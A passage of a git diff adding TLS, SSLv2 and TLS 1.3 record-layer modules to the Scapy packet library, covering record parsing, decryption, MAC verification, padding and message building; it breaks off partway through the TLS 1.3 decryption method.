+    a stream cipher, there is no IV nor any padding. The 'len' should always
+    hold the length of the ciphered message; for the plaintext version, you
+    should rely on the additional 'deciphered_len' attribute.
+
+    XXX Fix 'deciphered_len' which should not be defined when failing with
+    AEAD decryption. This is related to the 'decryption_success' below.
+    Also, follow this behaviour in record_sslv2.py and record_tls13.py
+
+    Once we have isolated the ciphered message aggregate (which should be one
+    or several TLS messages of the same type), we try to decipher it. Either we
+    succeed and store the clear data in 'msg', or we graciously fail with a
+    CipherError and store the ciphered data in 'msg'.
+
+    Unless the user manually provides the session secrets through the passing
+    of a 'tls_session', obviously the ciphered messages will not be deciphered.
+    Indeed, the need for a proper context may also present itself when trying
+    to parse clear handshake messages.
+
+    For instance, suppose you sniffed the beginning of a DHE-RSA negotiation:
+        t1 = TLS(<client_hello>)
+        t2 = TLS(<server_hello | certificate | server_key_exchange>)
+        t3 = TLS(<server_hello | certificate | server_key_exchange>,
+                 tls_session=t1.tls_session)
+    (Note that to do things properly, here 't1.tls_session' should actually be
+    't1.tls_session.mirror()'. See session.py for explanations.)
+
+    As no context was passed to t2, neither was any client_random. Hence Scapy
+    will not be able to verify the signature of the server_key_exchange inside
+    t2. However, it should be able to do so for t3, thanks to the tls_session.
+    The consequence of not having a complete TLS context is even more obvious
+    when trying to parse ciphered content, as we decribed before.
+
+    Thus, in order to parse TLS-protected communications with Scapy:
+    _either Scapy reads every message from one side of the TLS connection and
+    builds every message from the other side (as such, it should know the
+    secrets needed for the generation of the pre_master_secret), while passing
+    the same tls_session context (this is how our automaton.py mostly works);
+    _or, if Scapy did not build any TLS message, it has to create a TLS context
+    and feed it with secrets retrieved by whatever technique. Note that the
+    knowing the private key of the server certificate will not be sufficient
+    if a PFS ciphersuite was used. However, if you got a master_secret somehow,
+    use it with tls_session.(w|r)cs.derive_keys() and leave the rest to Scapy.
+
+    When building a TLS message with raw_stateful, we expect the tls_session to
+    have the right parameters for ciphering. Else, .post_build() might fail.
+    """
+    __slots__ = ["deciphered_len"]
+    name = "TLS"
+    fields_desc = [ ByteEnumField("type", None, _tls_type),
+                    _TLSVersionField("version", None, _tls_version),
+                    _TLSLengthField("len", None),
+                    _TLSIVField("iv", None),
+                    _TLSMsgListField("msg", []),
+                    _TLSMACField("mac", None),
+                    _TLSPadField("pad", None),
+                    _TLSPadLenField("padlen", None) ]
+
+    def __init__(self, *args, **kargs):
+        self.deciphered_len = kargs.get("deciphered_len", None)
+        super(TLS, self).__init__(*args, **kargs)
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        """
+        If the TLS class was called on raw SSLv2 data, we want to return an
+        SSLv2 record instance. We acknowledge the risk of SSLv2 packets with a
+        msglen of 0x1403, 0x1503, 0x1603 or 0x1703 which will never be casted
+        as SSLv2 records but TLS ones instead, but hey, we can't be held
+        responsible for low-minded extensibility choices.
+        """
+        if _pkt and len(_pkt) >= 2:
+            byte0 = orb(_pkt[0])
+            byte1 = orb(_pkt[1])
+            if (byte0 not in _tls_type) or (byte1 != 3):
+                from scapy.layers.tls.record_sslv2 import SSLv2
+                return SSLv2
+            else:
+                s = kargs.get("tls_session", None)
+                if s and _tls_version_check(s.tls_version, 0x0304):
+                    if s.rcs and not isinstance(s.rcs.cipher, Cipher_NULL):
+                        from scapy.layers.tls.record_tls13 import TLS13
+                        return TLS13
+        if _pkt and len(_pkt) < 5:
+                # Layer detected as TLS but too small to be a real packet (len<5).
+                # Those packets appear when sessions are interrupted or to flush buffers.
+                # Scapy should not try to decode them
+            return conf.raw_layer
+        return TLS
+
+    ### Parsing methods
+
+    def _tls_auth_decrypt(self, hdr, s):
+        """
+        Provided with the record header and AEAD-ciphered data, return the
+        sliced and clear tuple (nonce, TLSCompressed.fragment, mac). Note that
+        we still return the slicing of the original input in case of decryption
+        failure. Also, if the integrity check fails, a warning will be issued,
+        but we still return the sliced (unauthenticated) plaintext.
+        """
+        try:
+            read_seq_num = struct.pack("!Q", self.tls_session.rcs.seq_num)
+            self.tls_session.rcs.seq_num += 1
+            # self.type and self.version have not been parsed yet,
+            # this is why we need to look into the provided hdr.
+            add_data = read_seq_num + chb(hdr[0]) + hdr[1:3]
+            # Last two bytes of add_data are appended by the return function
+            return self.tls_session.rcs.cipher.auth_decrypt(add_data, s,
+                                                            read_seq_num)
+        except CipherError as e:
+            return e.args
+        except AEADTagError as e:
+            pkt_info = self.firstlayer().summary()
+            log_runtime.info("TLS: record integrity check failed [%s]", pkt_info)
+            return e.args
+
+    def _tls_decrypt(self, s):
+        """
+        Provided with stream- or block-ciphered data, return the clear version.
+        The cipher should have been updated with the right IV early on,
+        which should not be at the beginning of the input.
+        In case of decryption failure, a CipherError will be raised with
+        the slicing of the original input as first argument.
+        """
+        return self.tls_session.rcs.cipher.decrypt(s)
+
+    def _tls_hmac_verify(self, hdr, msg, mac):
+        """
+        Provided with the record header, the TLSCompressed.fragment and the
+        HMAC, return True if the HMAC is correct. If we could not compute the
+        HMAC because the key was missing, there is no sense in verifying
+        anything, thus we also return True.
+
+        Meant to be used with a block cipher or a stream cipher.
+        It would fail with an AEAD cipher, because rcs.hmac would be None.
+        See RFC 5246, section 6.2.3.
+        """
+        read_seq_num = struct.pack("!Q", self.tls_session.rcs.seq_num)
+        self.tls_session.rcs.seq_num += 1
+
+        mac_len = self.tls_session.rcs.mac_len
+        if mac_len == 0:            # should be TLS_NULL_WITH_NULL_NULL
+            return True
+        if len(mac) != mac_len:
+            return False
+
+        alg = self.tls_session.rcs.hmac
+        version = struct.unpack("!H", hdr[1:3])[0]
+        try:
+            if version > 0x300:
+                h = alg.digest(read_seq_num + hdr + msg)
+            elif version == 0x300:
+                h = alg.digest_sslv3(read_seq_num + hdr[:1] + hdr[3:5] + msg)
+            else:
+                raise Exception("Unrecognized version.")
+        except HMACError:
+            h = mac
+        return h == mac
+
+    def _tls_decompress(self, s):
+        """
+        Provided with the TLSCompressed.fragment,
+        return the TLSPlaintext.fragment.
+        """
+        alg = self.tls_session.rcs.compression
+        return alg.decompress(s)
+
+    def pre_dissect(self, s):
+        """
+        Decrypt, verify and decompress the message,
+        i.e. apply the previous methods according to the reading cipher type.
+        If the decryption was successful, 'len' will be the length of the
+        TLSPlaintext.fragment. Else, it should be the length of the
+        _TLSEncryptedContent.
+        """
+        if len(s) < 5:
+            raise Exception("Invalid record: header is too short.")
+
+        msglen = struct.unpack('!H', s[3:5])[0]
+        hdr, efrag, r = s[:5], s[5:5+msglen], s[msglen+5:]
+
+        iv = mac = pad = b""
+        self.padlen = None
+        decryption_success = False
+
+        cipher_type = self.tls_session.rcs.cipher.type
+
+        if cipher_type == 'block':
+            version = struct.unpack("!H", s[1:3])[0]
+
+            # Decrypt
+            try:
+                if version >= 0x0302:
+                    # Explicit IV for TLS 1.1 and 1.2
+                    block_size = self.tls_session.rcs.cipher.block_size
+                    iv, efrag = efrag[:block_size], efrag[block_size:]
+                    self.tls_session.rcs.cipher.iv = iv
+                    pfrag = self._tls_decrypt(efrag)
+                else:
+                    # Implicit IV for SSLv3 and TLS 1.0
+                    pfrag = self._tls_decrypt(efrag)
+            except CipherError as e:
+                # This will end up dissected as _TLSEncryptedContent.
+                cfrag = e.args[0]
+            else:
+                decryption_success = True
+                # Excerpt below better corresponds to TLS 1.1 IV definition,
+                # but the result is the same as with TLS 1.2 anyway.
+                # This leading *IV* has been decrypted by _tls_decrypt with a
+                # random IV, hence it does not correspond to anything.
+                # What actually matters is that we got the first encrypted block
+                # in order to decrypt the second block (first data block).
+                #if version >= 0x0302:
+                #    block_size = self.tls_session.rcs.cipher.block_size
+                #    iv, pfrag = pfrag[:block_size], pfrag[block_size:]
+                #    l = struct.unpack('!H', hdr[3:5])[0]
+                #    hdr = hdr[:3] + struct.pack('!H', l-block_size)
+
+                # Extract padding ('pad' actually includes the trailing padlen)
+                padlen = orb(pfrag[-1]) + 1
+                mfrag, pad = pfrag[:-padlen], pfrag[-padlen:]
+                self.padlen = padlen
+
+                # Extract MAC
+                l = self.tls_session.rcs.mac_len
+                if l != 0:
+                    cfrag, mac = mfrag[:-l], mfrag[-l:]
+                else:
+                    cfrag, mac = mfrag, b""
+
+                # Verify integrity
+                chdr = hdr[:3] + struct.pack('!H', len(cfrag))
+                is_mac_ok = self._tls_hmac_verify(chdr, cfrag, mac)
+                if not is_mac_ok:
+                    pkt_info = self.firstlayer().summary()
+                    log_runtime.info("TLS: record integrity check failed [%s]", pkt_info)
+
+        elif cipher_type == 'stream':
+            # Decrypt
+            try:
+                pfrag = self._tls_decrypt(efrag)
+            except CipherError as e:
+                # This will end up dissected as _TLSEncryptedContent.
+                cfrag = e.args[0]
+            else:
+                decryption_success = True
+                mfrag = pfrag
+
+                # Extract MAC
+                l = self.tls_session.rcs.mac_len
+                if l != 0:
+                    cfrag, mac = mfrag[:-l], mfrag[-l:]
+                else:
+                    cfrag, mac = mfrag, b""
+
+                # Verify integrity
+                chdr = hdr[:3] + struct.pack('!H', len(cfrag))
+                is_mac_ok = self._tls_hmac_verify(chdr, cfrag, mac)
+                if not is_mac_ok:
+                    pkt_info = self.firstlayer().summary()
+                    log_runtime.info("TLS: record integrity check failed [%s]", pkt_info)
+
+        elif cipher_type == 'aead':
+            # Authenticated encryption
+            # crypto/cipher_aead.py prints a warning for integrity failure
+            if (conf.crypto_valid_advanced and
+                isinstance(self.tls_session.rcs.cipher, Cipher_CHACHA20_POLY1305)):
+                iv = b""
+                cfrag, mac = self._tls_auth_decrypt(hdr, efrag)
+            else:
+                iv, cfrag, mac = self._tls_auth_decrypt(hdr, efrag)
+            decryption_success = True       # see XXX above
+
+        frag = self._tls_decompress(cfrag)
+
+        if (decryption_success and
+            not isinstance(self.tls_session.rcs.cipher, Cipher_NULL)):
+            self.deciphered_len = len(frag)
+        else:
+            self.deciphered_len = None
+
+        reconstructed_body = iv + frag + mac + pad
+
+        return hdr + reconstructed_body + r
+
+    def post_dissect(self, s):
+        """
+        Commit the pending r/w state if it has been triggered (e.g. by an
+        underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We update
+        nothing if the prcs was not set, as this probably means that we're
+        working out-of-context (and we need to keep the default rcs).
+        """
+        if self.tls_session.triggered_prcs_commit:
+            if self.tls_session.prcs is not None:
+                self.tls_session.rcs = self.tls_session.prcs
+                self.tls_session.prcs = None
+            self.tls_session.triggered_prcs_commit = False
+        if self.tls_session.triggered_pwcs_commit:
+            if self.tls_session.pwcs is not None:
+                self.tls_session.wcs = self.tls_session.pwcs
+                self.tls_session.pwcs = None
+            self.tls_session.triggered_pwcs_commit = False
+        return s
+
+    def do_dissect_payload(self, s):
+        """
+        Try to dissect the following data as a TLS message.
+        Note that overloading .guess_payload_class() would not be enough,
+        as the TLS session to be used would get lost.
+        """
+        if s:
+            try:
+                p = TLS(s, _internal=1, _underlayer=self,
+                        tls_session = self.tls_session)
+            except KeyboardInterrupt:
+                raise
+            except:
+                p = conf.raw_layer(s, _internal=1, _underlayer=self)
+            self.add_payload(p)
+
+
+    ### Building methods
+
+    def _tls_compress(self, s):
+        """
+        Provided with the TLSPlaintext.fragment,
+        return the TLSCompressed.fragment.
+        """
+        alg = self.tls_session.wcs.compression
+        return alg.compress(s)
+
+    def _tls_auth_encrypt(self, s):
+        """
+        Return the TLSCiphertext.fragment for AEAD ciphers, i.e. the whole
+        GenericAEADCipher. Also, the additional data is computed right here.
+        """
+        write_seq_num = struct.pack("!Q", self.tls_session.wcs.seq_num)
+        self.tls_session.wcs.seq_num += 1
+        add_data = (write_seq_num +
+                    pkcs_i2osp(self.type, 1) +
+                    pkcs_i2osp(self.version, 2) +
+                    pkcs_i2osp(len(s), 2))
+        return self.tls_session.wcs.cipher.auth_encrypt(s, add_data,
+                                                        write_seq_num)
+
+    def _tls_hmac_add(self, hdr, msg):
+        """
+        Provided with the record header (concatenation of the TLSCompressed
+        type, version and length fields) and the TLSCompressed.fragment,
+        return the concatenation of the TLSCompressed.fragment and the HMAC.
+
+        Meant to be used with a block cipher or a stream cipher.
+        It would fail with an AEAD cipher, because wcs.hmac would be None.
+        See RFC 5246, section 6.2.3.
+        """
+        write_seq_num = struct.pack("!Q", self.tls_session.wcs.seq_num)
+        self.tls_session.wcs.seq_num += 1
+
+        alg = self.tls_session.wcs.hmac
+        version = struct.unpack("!H", hdr[1:3])[0]
+        if version > 0x300:
+            h = alg.digest(write_seq_num + hdr + msg)
+        elif version == 0x300:
+            h = alg.digest_sslv3(write_seq_num + hdr[:1] + hdr[3:5] + msg)
+        else:
+            raise Exception("Unrecognized version.")
+        return msg + h
+
+    def _tls_pad(self, s):
+        """
+        Provided with the concatenation of the TLSCompressed.fragment and the
+        HMAC, append the right padding and return it as a whole.
+        This is the TLS-style padding: while SSL allowed for random padding,
+        TLS (misguidedly) specifies the repetition of the same byte all over,
+        and this byte must be equal to len(<entire padding>) - 1.
+
+        Meant to be used with a block cipher only.
+        """
+        padding = b""
+        block_size = self.tls_session.wcs.cipher.block_size
+        padlen = block_size - ((len(s) + 1) % block_size)
+        if padlen == block_size:
+            padlen = 0
+        pad_pattern = chb(padlen)
+        padding = pad_pattern * (padlen + 1)
+        return s + padding
+
+    def _tls_encrypt(self, s):
+        """
+        Return the stream- or block-ciphered version of the concatenated input.
+        In case of GenericBlockCipher, no IV has been specifically prepended to
+        the output, so this might not be the whole TLSCiphertext.fragment yet.
+        """
+        return self.tls_session.wcs.cipher.encrypt(s)
+
+    def post_build(self, pkt, pay):
+        """
+        Apply the previous methods according to the writing cipher type.
+        """
+        # Compute the length of TLSPlaintext fragment
+        hdr, frag = pkt[:5], pkt[5:]
+        l = len(frag)
+        hdr = hdr[:3] + struct.pack("!H", l)
+
+        # Compression
+        cfrag = self._tls_compress(frag)
+        l = len(cfrag)      # Update the length as a result of compression
+        hdr = hdr[:3] + struct.pack("!H", l)
+
+        cipher_type = self.tls_session.wcs.cipher.type
+
+        if cipher_type == 'block':
+            # Integrity
+            mfrag = self._tls_hmac_add(hdr, cfrag)
+
+            # Excerpt below better corresponds to TLS 1.1 IV definition,
+            # but the result is the same as with TLS 1.2 anyway.
+            #if self.version >= 0x0302:
+            #    l = self.tls_session.wcs.cipher.block_size
+            #    iv = randstring(l)
+            #    mfrag = iv + mfrag
+
+            # Add padding
+            pfrag = self._tls_pad(mfrag)
+
+            # Encryption
+            if self.version >= 0x0302:
+                # Explicit IV for TLS 1.1 and 1.2
+                l = self.tls_session.wcs.cipher.block_size
+                iv = randstring(l)
+                self.tls_session.wcs.cipher.iv = iv
+                efrag = self._tls_encrypt(pfrag)
+                efrag = iv + efrag
+            else:
+                # Implicit IV for SSLv3 and TLS 1.0
+                efrag = self._tls_encrypt(pfrag)
+
+        elif cipher_type == "stream":
+            # Integrity
+            mfrag = self._tls_hmac_add(hdr, cfrag)
+            # Encryption
+            efrag = self._tls_encrypt(mfrag)
+
+        elif cipher_type == "aead":
+            # Authenticated encryption (with nonce_explicit as header)
+            efrag = self._tls_auth_encrypt(cfrag)
+
+        if self.len is not None:
+            # The user gave us a 'len', let's respect this ultimately
+            hdr = hdr[:3] + struct.pack("!H", self.len)
+        else:
+            # Update header with the length of TLSCiphertext.fragment
+            hdr = hdr[:3] + struct.pack("!H", len(efrag))
+
+        # Now we commit the pending write state if it has been triggered (e.g.
+        # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We
+        # update nothing if the pwcs was not set. This probably means that
+        # we're working out-of-context (and we need to keep the default wcs).
+        if self.tls_session.triggered_pwcs_commit:
+            if self.tls_session.pwcs is not None:
+                self.tls_session.wcs = self.tls_session.pwcs
+                self.tls_session.pwcs = None
+            self.tls_session.triggered_pwcs_commit = False
+
+        return hdr + efrag + pay
+
+
+###############################################################################
+### TLS ChangeCipherSpec                                                    ###
+###############################################################################
+
+_tls_changecipherspec_type = { 1: "change_cipher_spec" }
+
+class TLSChangeCipherSpec(_GenericTLSSessionInheritance):
+    """
+    Note that, as they are not handshake messages, the ccs messages do not get
+    appended to the list of messages whose integrity gets verified through the
+    Finished messages.
+    """
+    name = "TLS ChangeCipherSpec"
+    fields_desc = [ ByteEnumField("msgtype", 1, _tls_changecipherspec_type) ]
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session.triggered_prcs_commit = True
+
+    def post_build_tls_session_update(self, msg_str):
+        # Unlike for dissection case, we cannot commit pending write
+        # state as current write state. We need to delay this after
+        # the ChangeCipherSpec message has indeed been sent
+        self.tls_session.triggered_pwcs_commit = True
+
+
+###############################################################################
+### TLS Alert                                                               ###
+###############################################################################
+
+_tls_alert_level = { 1: "warning", 2: "fatal"}
+
+_tls_alert_description = {
+    0: "close_notify",                 10: "unexpected_message",
+    20: "bad_record_mac",              21: "decryption_failed",
+    22: "record_overflow",             30: "decompression_failure",
+    40: "handshake_failure",           41: "no_certificate_RESERVED",
+    42: "bad_certificate",             43: "unsupported_certificate",
+    44: "certificate_revoked",         45: "certificate_expired",
+    46: "certificate_unknown",         47: "illegal_parameter",
+    48: "unknown_ca",                  49: "access_denied",
+    50: "decode_error",                51: "decrypt_error",
+    60: "export_restriction_RESERVED", 70: "protocol_version",
+    71: "insufficient_security",       80: "internal_error",
+    90: "user_canceled",              100: "no_renegotiation",
+   110: "unsupported_extension",      111: "certificate_unobtainable",
+   112: "unrecognized_name",          113: "bad_certificate_status_response",
+   114: "bad_certificate_hash_value", 115: "unknown_psk_identity" }
+
+class TLSAlert(_GenericTLSSessionInheritance):
+    name = "TLS Alert"
+    fields_desc = [ ByteEnumField("level", None, _tls_alert_level),
+                    ByteEnumField("descr", None, _tls_alert_description) ]
+
+    def post_dissection_tls_session_update(self, msg_str):
+        pass
+
+    def post_build_tls_session_update(self, msg_str):
+        pass
+
+
+###############################################################################
+### TLS Application Data                                                    ###
+###############################################################################
+
+class TLSApplicationData(_GenericTLSSessionInheritance):
+    name = "TLS Application Data"
+    fields_desc = [ StrField("data", "") ]
+
+    def post_dissection_tls_session_update(self, msg_str):
+        pass
+
+    def post_build_tls_session_update(self, msg_str):
+        pass
+
+
+###############################################################################
+### Bindings                                                                ###
+###############################################################################
+
+bind_layers(TCP, TLS, sport=443)
+bind_layers(TCP, TLS, dport=443)
diff --git a/scapy/layers/tls/record_sslv2.py b/scapy/layers/tls/record_sslv2.py
new file mode 100644
index 0000000..e285279
--- /dev/null
+++ b/scapy/layers/tls/record_sslv2.py
@@ -0,0 +1,273 @@
+## This file is part of Scapy
+## Copyright (C) 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+SSLv2 Record.
+"""
+
+import struct
+
+from scapy.config import conf
+from scapy.error import log_runtime
+from scapy.compat import *
+from scapy.fields import *
+from scapy.packet import *
+from scapy.layers.tls.session import _GenericTLSSessionInheritance
+from scapy.layers.tls.record import _TLSMsgListField, TLS
+from scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_cls
+from scapy.layers.tls.basefields import (_SSLv2LengthField, _SSLv2PadField,
+                                         _SSLv2PadLenField, _TLSMACField)
+
+
+###############################################################################
+### SSLv2 Record Protocol                                                   ###
+###############################################################################
+
+class _SSLv2MsgListField(_TLSMsgListField):
+    def __init__(self, name, default, length_from=None):
+        if not length_from:
+            length_from=lambda pkt: ((pkt.len & 0x7fff) -
+                                     (pkt.padlen or 0) -
+                                     len(pkt.mac))
+        super(_SSLv2MsgListField, self).__init__(name, default, length_from)
+
+    def m2i(self, pkt, m):
+        cls = Raw
+        if len(m) >= 1:
+            msgtype = orb(m[0])
+            cls = _sslv2_handshake_cls.get(msgtype, Raw)
+
+        if cls is Raw:
+            return Raw(m)
+        else:
+            return cls(m, tls_session=pkt.tls_session)
+
+    def i2m(self, pkt, p):
+       cur = b""
+       if isinstance(p, _GenericTLSSessionInheritance):
+           p.tls_session = pkt.tls_session
+           if not pkt.tls_session.frozen:
+               cur = p.raw_stateful()
+               p.post_build_tls_session_update(cur)
+           else:
+               cur = raw(p)
+       else:
+           cur = raw(p)
+       return cur
+
+    def addfield(self, pkt, s, val):
+        res = b""
+        for p in val:
+            res += self.i2m(pkt, p)
+        return s + res
+
+
+class SSLv2(TLS):
+    """
+    The encrypted_data is the encrypted version of mac+msg+pad.
+    """
+    __slots__ = ["with_padding", "protected_record"]
+    name = "SSLv2"
+    fields_desc = [ _SSLv2LengthField("len", None),
+                    _SSLv2PadLenField("padlen", None),
+                    _TLSMACField("mac", b""),
+                    _SSLv2MsgListField("msg", []),
+                    _SSLv2PadField("pad", "") ]
+
+    def __init__(self, *args, **kargs):
+        self.with_padding = kargs.get("with_padding", False)
+        self.protected_record = kargs.get("protected_record", None)
+        super(SSLv2, self).__init__(*args, **kargs)
+
+    ### Parsing methods
+
+    def _sslv2_mac_verify(self, msg, mac):
+        secret = self.tls_session.rcs.cipher.key
+        if secret is None:
+            return True
+
+        mac_len = self.tls_session.rcs.mac_len
+        if mac_len == 0:            # should be TLS_NULL_WITH_NULL_NULL
+            return True
+        if len(mac) != mac_len:
+            return False
+
+        read_seq_num = struct.pack("!I", self.tls_session.rcs.seq_num)
+        alg = self.tls_session.rcs.hash
+        h = alg.digest(secret + msg + read_seq_num)
+        return h == mac
+
+    def pre_dissect(self, s):
+        if len(s) < 2:
+            raise Exception("Invalid record: header is too short.")
+
+        msglen = struct.unpack("!H", s[:2])[0]
+        if msglen & 0x8000:
+            hdrlen = 2
+            msglen_clean = msglen & 0x7fff
+        else:
+            hdrlen = 3
+            msglen_clean = msglen & 0x3fff
+
+        hdr = s[:hdrlen]
+        efrag = s[hdrlen:hdrlen+msglen_clean]
+        self.protected_record = s[:hdrlen+msglen_clean]
+        r = s[hdrlen+msglen_clean:]
+
+        mac = pad = b""
+
+        cipher_type = self.tls_session.rcs.cipher.type
+
+        # Decrypt (with implicit IV if block cipher)
+        mfrag = self._tls_decrypt(efrag)
+
+        # Extract MAC
+        maclen = self.tls_session.rcs.mac_len
+        if maclen == 0:
+            mac, pfrag = b"", mfrag
+        else:
+            mac, pfrag = mfrag[:maclen], mfrag[maclen:]
+
+        # Extract padding
+        padlen = 0
+        if hdrlen == 3:
+            padlen = orb(s[2])
+        if padlen == 0:
+            cfrag, pad = pfrag, b""
+        else:
+            cfrag, pad = pfrag[:-padlen], pfrag[-padlen:]
+
+        # Verify integrity
+        is_mac_ok = self._sslv2_mac_verify(cfrag + pad, mac)
+        if not is_mac_ok:
+            pkt_info = self.firstlayer().summary()
+            log_runtime.info("TLS: record integrity check failed [%s]", pkt_info)
+
+        reconstructed_body = mac + cfrag + pad
+        return hdr + reconstructed_body + r
+
+    def post_dissect(self, s):
+        """
+        SSLv2 may force us to commit the write connState here.
+        """
+        if self.tls_session.triggered_prcs_commit:
+            if self.tls_session.prcs is not None:
+                self.tls_session.rcs = self.tls_session.prcs
+                self.tls_session.prcs = None
+            self.tls_session.triggered_prcs_commit = False
+        if self.tls_session.triggered_pwcs_commit:
+            if self.tls_session.pwcs is not None:
+                self.tls_session.wcs = self.tls_session.pwcs
+                self.tls_session.pwcs = None
+            self.tls_session.triggered_pwcs_commit = False
+
+        if self.tls_session.prcs is not None:
+            self.tls_session.prcs.seq_num += 1
+        self.tls_session.rcs.seq_num += 1
+        return s
+
+    def do_dissect_payload(self, s):
+        if s:
+            try:
+                p = SSLv2(s, _internal=1, _underlayer=self,
+                          tls_session = self.tls_session)
+            except KeyboardInterrupt:
+                raise
+            except:
+                p = conf.raw_layer(s, _internal=1, _underlayer=self)
+            self.add_payload(p)
+
+
+    ### Building methods
+
+    def _sslv2_mac_add(self, msg):
+        secret = self.tls_session.wcs.cipher.key
+        if secret is None:
+            return msg
+
+        write_seq_num = struct.pack("!I", self.tls_session.wcs.seq_num)
+        alg = self.tls_session.wcs.hash
+        h = alg.digest(secret + msg + write_seq_num)
+        return h + msg
+
+    def _sslv2_pad(self, s):
+        padding = b""
+        block_size = self.tls_session.wcs.cipher.block_size
+        padlen = block_size - (len(s) % block_size)
+        if padlen == block_size:
+            padlen = 0
+        padding = b"\x00" * padlen
+        return s + padding
+
+    def post_build(self, pkt, pay):
+        if self.protected_record is not None:
+            # we do not update the tls_session
+            return self.protected_record + pay
+
+        if self.padlen is None:
+            cfrag = pkt[2:]
+        else:
+            cfrag = pkt[3:]
+
+        if self.pad == b"" and self.tls_session.wcs.cipher.type == 'block':
+            pfrag = self._sslv2_pad(cfrag)
+        else:
+            pad = self.pad or b""
+            pfrag = cfrag + pad
+
+        padlen = self.padlen
+        if padlen is None:
+            padlen = len(pfrag) - len(cfrag)
+        hdr = pkt[:2]
+        if padlen > 0:
+            hdr += struct.pack("B", padlen)
+
+        # Integrity
+        if self.mac == b"":
+            mfrag = self._sslv2_mac_add(pfrag)
+        else:
+            mfrag = self.mac + pfrag
+
+        # Encryption
+        efrag = self._tls_encrypt(mfrag)
+
+        if self.len is not None:
+            l = self.len
+            if not self.with_padding:
+                l |= 0x8000
+            hdr = struct.pack("!H", l) + hdr[2:]
+        else:
+            # Update header with the length of TLSCiphertext.fragment
+            msglen_new = len(efrag)
+            if padlen:
+                if msglen_new > 0x3fff:
+                    raise Exception("Invalid record: encrypted data too long.")
+            else:
+                if msglen_new > 0x7fff:
+                    raise Exception("Invalid record: encrypted data too long.")
+                msglen_new |= 0x8000
+            hdr = struct.pack("!H", msglen_new) + hdr[2:]
+
+        # Now we commit the pending write state if it has been triggered (e.g.
+        # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We
+        # update nothing if the pwcs was not set. This probably means that
+        # we're working out-of-context (and we need to keep the default wcs).
+        # SSLv2 may force us to commit the reading connState here.
+        if self.tls_session.triggered_pwcs_commit:
+            if self.tls_session.pwcs is not None:
+                self.tls_session.wcs = self.tls_session.pwcs
+                self.tls_session.pwcs = None
+            self.tls_session.triggered_pwcs_commit = False
+        if self.tls_session.triggered_prcs_commit:
+            if self.tls_session.prcs is not None:
+                self.tls_session.rcs = self.tls_session.prcs
+                self.tls_session.prcs = None
+            self.tls_session.triggered_prcs_commit = False
+
+        if self.tls_session.pwcs is not None:
+            self.tls_session.pwcs.seq_num += 1
+        self.tls_session.wcs.seq_num += 1
+
+        return hdr + efrag + pay
+
diff --git a/scapy/layers/tls/record_tls13.py b/scapy/layers/tls/record_tls13.py
new file mode 100644
index 0000000..a4bc5f3
--- /dev/null
+++ b/scapy/layers/tls/record_tls13.py
@@ -0,0 +1,208 @@
+## This file is part of Scapy
+## Copyright (C) 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Common TLS 1.3 fields & bindings.
+
+This module covers the record layer, along with the ChangeCipherSpec, Alert and
+ApplicationData submessages. For the Handshake type, see tls_handshake.py.
+
+See the TLS class documentation for more information.
+"""
+
+import struct
+
+from scapy.config import conf
+from scapy.error import log_runtime
+from scapy.fields import *
+from scapy.packet import *
+from scapy.layers.tls.session import _GenericTLSSessionInheritance
+from scapy.layers.tls.basefields import (_TLSVersionField, _tls_version,
+                                         _TLSMACField, _TLSLengthField, _tls_type)
+from scapy.layers.tls.record import _TLSMsgListField
+from scapy.layers.tls.crypto.cipher_aead import AEADTagError
+from scapy.layers.tls.crypto.cipher_stream import Cipher_NULL
+from scapy.layers.tls.crypto.ciphers import CipherError
+
+
+###############################################################################
+### TLS Record Protocol                                                     ###
+###############################################################################
+
+class TLSInnerPlaintext(_GenericTLSSessionInheritance):
+    name = "TLS Inner Plaintext"
+    fields_desc = [ _TLSMsgListField("msg", []),
+                    ByteEnumField("type", None, _tls_type),
+                    XStrField("pad", "") ]
+
+    def pre_dissect(self, s):
+        """
+        We need to parse the padding and type as soon as possible,
+        else we won't be able to parse the message list...
+        """
+        if len(s) < 1:
+            raise Exception("Invalid InnerPlaintext (too short).")
+
+        l = len(s) - 1
+        if s[-1] != b"\x00":
+            msg_len = l
+        else:
+            n = 1
+            while s[-n] != b"\x00" and n < l:
+                n += 1
+            msg_len = l - n
+        self.fields_desc[0].length_from = lambda pkt: msg_len
+
+        self.type = struct.unpack("B", s[msg_len:msg_len+1])[0]
+
+        return s
+
+class _TLSInnerPlaintextField(PacketField):
+    def __init__(self, name, default, *args, **kargs):
+        super(_TLSInnerPlaintextField, self).__init__(name,
+                                                      default,
+                                                      TLSInnerPlaintext)
+
+    def m2i(self, pkt, m):
+        return self.cls(m, tls_session=pkt.tls_session)
+
+    def getfield(self, pkt, s):
+        tag_len = pkt.tls_session.rcs.mac_len
+        frag_len = pkt.len - tag_len
+        if frag_len < 1:
+            warning("InnerPlaintext should at least contain a byte type!")
+            return s, None
+        remain, i = super(_TLSInnerPlaintextField, self).getfield(pkt, s[:frag_len])
+        # remain should be empty here
+        return remain + s[frag_len:], i
+
+    def i2m(self, pkt, p):
+        if isinstance(p, _GenericTLSSessionInheritance):
+            p.tls_session = pkt.tls_session
+            if not pkt.tls_session.frozen:
+                return p.raw_stateful()
+        return raw(p)
+
+
+class TLS13(_GenericTLSSessionInheritance):
+    __slots__ = ["deciphered_len"]
+    name = "TLS 1.3"
+    fields_desc = [ ByteEnumField("type", 0x17, _tls_type),
+                    _TLSVersionField("version", 0x0301, _tls_version),
+                    _TLSLengthField("len", None),
+                    _TLSInnerPlaintextField("inner", TLSInnerPlaintext()),
+                    _TLSMACField("auth_tag", None) ]
+
+    def __init__(self, *args, **kargs):
+        self.deciphered_len = kargs.get("deciphered_len", None)
+        super(TLS13, self).__init__(*args, **kargs)
+
+
+    ### Parsing methods
+
+    def _tls_auth_decrypt(self, s):
+        """
+        Provided with the record header and AEAD-ciphered data, return the
+        sliced and clear tuple (TLSInnerPlaintext, tag). Note that
+        we still return the slicing of the original input in case of decryption
+        failure. Also, if the integrity check fails, a warning will be issued,
+        but we still return the sliced (unauthenticated) plaintext.
+        """
+        rcs = self.tls_session.rcs
+        read_seq_num = struct.pack("!Q", rcs.seq_num)
